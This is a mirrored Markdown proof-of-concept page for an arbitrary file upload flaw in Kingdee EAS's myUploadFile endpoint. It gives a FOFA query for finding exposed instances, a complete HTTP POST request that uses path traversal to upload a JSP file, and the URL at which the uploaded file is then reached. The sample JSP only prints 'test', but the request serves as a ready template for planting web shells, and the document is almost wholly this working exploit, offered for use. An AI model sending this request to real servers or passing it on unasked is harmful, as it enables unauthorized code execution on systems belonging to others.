mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
35 lines
1.1 KiB
Markdown
35 lines
1.1 KiB
Markdown
![]() |
|
|||
|
## 金蝶EAS myUploadFile任意文件上传
|
|||
|

|
|||
|
|
|||
|
## fofa
|
|||
|
```
|
|||
|
app="Kingdee-EAS"
|
|||
|
```
|
|||
|
|
|||
|
## POC
|
|||
|
```
|
|||
|
POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
|
|||
|
Host: 127.0.0.1
|
|||
|
Cache-Control: max-age=0
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
Accept-Encoding: gzip, deflate, br
|
|||
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
Connection: close
|
|||
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
|
|||
|
Content-Length: 205
|
|||
|
|
|||
|
------WebKitFormBoundarySq4lDnabv8CwHfvx
|
|||
|
Content-Disposition: form-data; name="myFile"; filename="test.jsp"
|
|||
|
Content-Type: text/html
|
|||
|
|
|||
|
<%out.println("test");%>
|
|||
|
------WebKitFormBoundarySq4lDnabv8CwHfvx--
|
|||
|
```
|
|||
|
|
|||
|
jsp路径:
|
|||
|
|
|||
|
http://127.0.0.1/easportal/buffalo/../test.jsp
|